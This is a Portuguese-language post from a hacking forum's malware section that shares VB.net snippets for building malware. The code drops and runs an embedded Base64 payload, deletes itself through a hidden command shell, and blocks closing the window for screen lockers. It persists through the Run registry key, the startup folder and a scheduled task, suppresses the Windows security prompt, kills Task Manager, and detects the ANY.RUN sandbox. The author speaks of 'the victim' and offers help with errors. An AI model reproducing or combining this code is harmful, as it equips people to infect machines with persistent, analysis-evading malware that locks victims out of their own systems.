COVIL HACKER

, ! .


» COVIL HACKER » Malware » Trechos de código VB.net para malware


Trechos de código VB.net para malware

1 2 2

1

Solte e execute o arquivo de Base64:

Primeiro, converta sua carga para base64 em https://tomeko.net/online_tools/file_to_base64.php

Agora o trecho de código (requer Imports System.IO ):

Código:
Dim byt As Byte() = Convert.FromBase64String("")
IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & "example.exe", byt)
Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & "example.exe")
   

Certifique-se de substituir a área em branco pela string convertida.

Autoexclusão:

Código:
Dim piDestruct As ProcessStartInfo = New ProcessStartInfo()

piDestruct.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " _
& Application.ExecutablePath
piDestruct.WindowStyle = ProcessWindowStyle.Hidden
piDestruct.CreateNoWindow = True
piDestruct.FileName = "cmd.exe"

Process.Start(piDestruct)

Application.Exit()

Faz o que diz, sai e apaga a si mesmo.

Impedir ALT+F4 no formulário:

Código:
    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim cp As CreateParams = MyBase.CreateParams
            Const CS_NOCLOSE As Integer = &H200
            cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
            Return cp
        End Get
    End Property

Isso impedirá que alguém use ALT+F4 para fechar sua janela. Útil para bloqueadores de tela.

Formulário de foco:

Código:
        Me.Activate()
        Me.Focus()

Outro snippet útil para screenlockers, coloque isso em um timer com um intervalo, não muito baixo, pois reorienta completamente a janela.
Combinado com o snippet Prevent ALT + F4, ele se concentrará até mesmo no gerenciador de tarefas e na barra de tarefas.

Inicialização do registro:

Código:
My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)

Define seu programa no registro para ser executado automaticamente. (Mostra na guia de inicialização no gerenciador de tarefas)

Copiar a si mesmo para a inicialização:

Código:
        If IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\example.exe") Then
            ''Not doing anything here, but you can if you want.
        Else
            IO.File.Copy(Application.ExecutablePath(), Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\example.exe")
        End If

Copia seu programa para a pasta de inicialização. (Mostra na guia de inicialização no gerenciador de tarefas)

Impedir "Tem certeza de que deseja executar este software?"

Código:
        Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)

Você deve usar isso com qualquer método de inicialização para executá-lo sem um alerta.

Anti Taskmgr:

Código:
        Dim process As Process
        For Each process In Process.GetProcessesByName("taskmgr")
            Try
                process.Kill()
            Catch ex As Exception
            End Try
        Next

Você deve colocar isso em um cronômetro com um intervalo baixo, também pode alterar o "taskmgr" para qualquer nome .exe como chrome.
Também é possível fazer com que este finalize o aplicativo quando ele detecta que um é iniciado.
Por exemplo, alterar process.Kill() para Application.Exit() fará com que o programa pare quando o taskmgr for aberto.
(Boa persistência com tarefas agendadas se a vítima for abrir o taskmgr com frequência e for paranóica.)

Detectar sandbox ANY.RUN:

Código:
        If Environment.UserName = "admin" And System.Windows.Forms.SystemInformation.ComputerName = "USER-PC" Then
            ''ANY.RUN was detected.
            Me.Close()
        Else
           ''ANY.RUN was not detected here.
           
        End If

Detecta a caixa de areia ANY.RUN, se for detectada, fechará. Pode causar falsos positivos com instalações de configuração completamente padrão.

Atividades agendadas:

Código:
                    Interaction.Shell(("schtasks /delete /tn Example /f"), AppWinStyle.Hide, True, &H1388)
                    Interaction.Shell(("schtasks /create /sc minute /mo 1 /tn Example /tr " & AppDomain.CurrentDomain.BaseDirectory & IO.Path.GetFileName(Application.ExecutablePath)), AppWinStyle.Hide, True, &H1388)

Isso agendará seu programa para iniciar a cada minuto em qualquer inicialização. Você também pode alterar "Exemplo" para qualquer nome que desejar.

Se você preferir C# em vez de VB.net, pode tentar converter o código aqui: https://converter.telerik.com/
Deparou-se com erros? Posso tentar consertar para você.

Estes são trechos básicos que peguei/criei ao longo dos anos ao experimentar a codificação de malware. Aproveitar.

0

2


» COVIL HACKER » Malware » Trechos de código VB.net para malware


|